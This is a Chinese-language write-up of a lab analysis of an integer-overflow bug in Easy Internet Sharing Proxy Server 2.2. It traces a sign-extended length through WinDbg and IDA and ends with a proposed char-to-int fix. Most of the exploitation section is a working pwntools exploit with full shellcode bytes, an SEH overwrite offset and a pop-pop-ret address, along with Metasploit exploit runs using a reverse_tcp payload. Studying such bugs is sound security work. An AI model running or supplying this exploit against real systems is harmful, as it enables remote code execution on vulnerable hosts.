EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用
简介
软件全称:Easy Internet Sharing Proxy Server 2.2
因为有整数溢出,导致复制长度过长,覆盖SEH,导致任意代码执行
分析来源:https://www.exploit-db.com/exploits/40760/
因为k0shl在i春秋讲这个,我也实践一下
实验环境
Windows 7 Sp1 32位
metasploit
EPS 2.2
windbg
IDA
mona
漏洞分析
首先我们的exp来源于exploitdb,我的话要改一下开头的类名称为Metasploit3才能用
我们直接上metasploit,由于我们用的是win7,所以我们target就默认让它是win10,故意让它崩掉
还有你会发现默认使用的payload是windows/meterpreter/reverse_tcp
msf > use exploit/windows/proxy/eps
msf exploit(eps) > set RHOST "192.168.253.157"
RHOST => 192.168.253.157
......
......
msf exploit(eps) > show options
Module options (exploit/windows/proxy/eps):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.253.157 yes The target address
RPORT 1080 yes The target port
Exploit target:
Id Name
-- ----
0 Windows 10 32bit
msf exploit(eps) > exploit
[*] Started reverse handler on 192.168.253.164:4444
[+] Building Windows 10 Rop Chain
[+] Building Exploit...
[+] Sending exploit...
[+] Exploit Sent...
看看崩溃信息,ecx的值非常大,edi所指向的地址是没有任何权限的,所以导致了异常
0:033> g
(138.a74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffff90 ebx=00000000 ecx=3fffeec4 edx=00344060 esi=0438e002 edi=04390000
eip=0043973d esp=04387c1c ebp=ffffff90 iopl=0 ov up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010a06
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe
easyproxy+0x3973d:
0043973d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:017> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
04387c18 00000000 00000000 0438ff94 00000244 easyproxy+0x3973d
0:017> !address edi
Failed to map Heaps (error 80004005)
Usage: Stack
Allocation Base: 04390000
Base Address: 04390000
End Address: 04486000
Region Size: 000f6000
Type: 00020000 MEM_PRIVATE
State: 00002000 MEM_RESERVE
Protect: 00000000
More info: ~18k
我们在ida定位一下崩溃的伪代码
v39 = v236;
v40 = v236;
v41 = (unsigned int)v236 >> 2;
qmemcpy(&v240, v237, 4 * v41);
也看看汇编吧
.text:00439720 movsx ebp, [esp+8370h+var_640B]
.text:00439728 mov ecx, ebp
.text:0043972A lea esi, [esp+8370h+var_640A]
.text:00439731 mov eax, ecx
.text:00439733 lea edi, [esp+8370h+var_440C]
.text:0043973A shr ecx, 2
.text:0043973D rep movsd
ecx来源于[esp+8370h+var_640B],那我们在00439720下断点
我们下面可以看到这里有个带符号扩展的mov指令,movsx,这是将90扩展成dword
由于0x90的最高位是1啊,那扩展后的前3个字节的二进制位都是1,即结果是0xFFFFFF90,不信看下面
>>> bin(0x90)
'0b10010000'
0:033> g
Breakpoint 0 hit
eax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8e
eip=00439720 esp=04347c1c ebp=0000040e iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx ebp,byte ptr [esp+1F65h] ss:0023:04349b81=90
0:017> p
eax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8e
eip=00439728 esp=04347c1c ebp=ffffff90 iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
easyproxy+0x39728:
00439728 8bcd mov ecx,ebp
我们看到复制大小3fffffe4 ,而目的地址申请的大小为
0x04350000 - 0x04347000= 0x9000
这样就会复制到不可写的内存(超越了栈顶)
0:017> p
eax=ffffff90 ebx=00000000 ecx=3fffffe4 edx=00214060 esi=04349b82 edi=0434bb80
eip=0043973d esp=04347c1c ebp=ffffff90 iopl=0 ov up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a06
easyproxy+0x3973d:
0043973d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:017> !address edi
Failed to map Heaps (error 80004005)
Usage: Stack
Allocation Base: 04250000
Base Address: 04347000
End Address: 04350000
Region Size: 00009000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
movsx的C语言怎么表达
那么对于的C语言或者说是C++代码是怎样的呢
17: char a = 0x90;
00401028 C6 45 F4 90 mov byte ptr [ebp-0Ch],90h
18:
19: int b = (int) a;
0040102C 0F BE 45 F4 movsx eax,byte ptr [ebp-0Ch]
可以看到是将字符型转化为整型可以这样
漏洞利用
我们抓包看看metasploit发送了什么
00000000 90 90 03 fb 43 00 03 fb 43 00 03 fb 43 00 03 fb ....C... C...C...
00000010 43 00 03 fb 43 00 de f1 47 00 10 92 48 00 ec a4 C...C... G...H...
00000020 45 00 6e 27 45 00 41 41 41 41 30 8d 43 00 41 41 E.n'E.AA AA0.C.AA
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 eb 68 AAAAAAAA AAAAAA.h
00000040 47 00 b0 76 46 00 41 41 41 41 71 77 41 00 38 bf G..vF.AA AAqwA.8.
00000050 46 00 01 00 00 00 77 14 48 00 00 10 00 00 ec a4 F.....w. H.......
00000060 45 00 6e 27 45 00 01 00 00 00 98 80 48 00 41 41 E.n'E... ....H.AA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 40 00 AAAAAAAA AAAAAA@.
00000080 00 00 38 ca 44 00 03 fb 43 00 59 45 45 00 90 90 ..8.D... C.YEE...
00000090 90 90 0f d3 47 00 4e 9b 4e 92 fc 42 f5 fc 42 fd ....G.N. N..B..B.
......
......
我们再看看metasploit,win10利用代码发送的数据啊
那我们完全有理由相信,触发漏洞的90出自于开头的90的其中一个
sploit = "\x90" *2
sploit << rop_gadgets
sploit << payload.encoded
sploit << make_nops(target['Nops'])
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
我们上pwntools,自己搞一下(payload是mona生成的定位字符)
from pwn import *
p = remote("192.168.253.157", 1080)
payload = "Aa0Aa1Aa2A....."
p.sendline(payload)
p.interactive()
发送,我们看到这时movsx ebp,byte ptr [esp+1F65h]
中[esp+1F65h]的值是61(即’a’),这样看不出是哪个位置的小a的值
那我们将payload改一下
payload = "ABCDEFGH...."
那从下面我们看到只要发送的第二个字符的二进制位的最高位为1即可触发漏洞
0:033> g
Breakpoint 0 hit
eax=00000341 ebx=00000000 ecx=00000000 edx=00794090 esi=0079449d edi=04459f71
eip=00439720 esp=04457c1c ebp=000003f1 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx ebp,byte ptr [esp+1F65h] ss:0023:04459b81=42
比如我们payload是:
payload = "A\xffCD
那么就会下面这样
0:033> g
Breakpoint 0 hit
eax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71
eip=00439720 esp=04377c1c ebp=000003f1 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx ebp,byte ptr [esp+1F65h] ss:0023:04379b81=ff
0:017> p
eax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71
eip=00439728 esp=04377c1c ebp=ffffffff iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
easyproxy+0x39728:
00439728 8bcd mov ecx,ebp
不包括前两个字符,我们定位到SEH位置为1032,NEXT SEH就是1028咯
我们看看当我们执行到我们覆盖的SEH的指令时的栈情况
我们可以注意到03e7ff80就是NEXT SEH的位置
0:017> dd esp
03e77834 76f165f9 03e7791c 03e7ff80 03e77938
03e77844 03e778f0 03e7ff80 76f1660d 03e7ff80
03e77854 03e77904 76f165cb 03e7791c 03e7ff80
03e77864 03e77938 03e778f0 00404bbc 00000000
03e77874 03e7791c 03e7ff80 76ef8d3d 03e7791c
03e77884 03e7ff80 03e77938 03e778f0 00404bbc
03e77894 03e80000 03e7791c 03e7e002 00000000
03e778a4 00000000 00000000 00000000 00000000
Windows7一般默认只是Windows软件和服务才开了DEP,所以我们不用绕过DEP,exploitdb的作者在Windows7是使用了绕过dep的方法,seh覆盖成了0043ad38这个地址
0043ad38 81c460830000 add esp,8360h
0043ad3e c20400 ret 4
但这里没开DEP,这里直接覆盖SEH为pop pop ret,
由于后面的栈地址不够了,所以我们的Shellcode要放在前面
最终exp:
from pwn import *
p = remote("192.168.253.157", 1080)
shellcode = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xdb\x88\x5c\x24\x0b\x89\xe3\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xc9\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
pop_pop_ret = 0x00404BBC
payload = "\xff\xff" + '\x90' *(1028-len(shellcode)-5) + shellcode + "\xe9\xf0\xfe\xff\xff" + "\xeb\xf9\x90\x90" + p32(pop_pop_ret)
# print len(shellcode)
p.sendline(payload)
p.interactive()
执行效果:
漏洞修复
应该要将char转化为int时,跟0xff与一下,这是个人看法,不知道大牛们是怎么修复的呢
int b = (int) a & 0xff;
当然也可以先装化为byte,再赋值给int
17: char a = 0x90;
00401028 C6 45 FC 90 mov byte ptr [ebp-4],90h
18:
19: byte c = (byte) a;
0040102C 8A 45 FC mov al,byte ptr [ebp-4]
0040102F 88 45 F4 mov byte ptr [ebp-0Ch],al
20:
21: int b = (int) c;
00401032 8B 4D F4 mov ecx,dword ptr [ebp-0Ch]
00401035 81 E1 FF 00 00 00 and ecx,0FFh
0040103B 89 4D F8 mov dword ptr [ebp-8],ecx
漏洞总结
由于eps软件应该是使用了将char强制转化为int,而且将这个int参数传入qmemcpy的第3个参数,而qmemcpy会把它当做无符号数对待,导致最后复制长度过程,超越的栈顶,使攻击者可以覆盖SEH,导致任意代码执行漏洞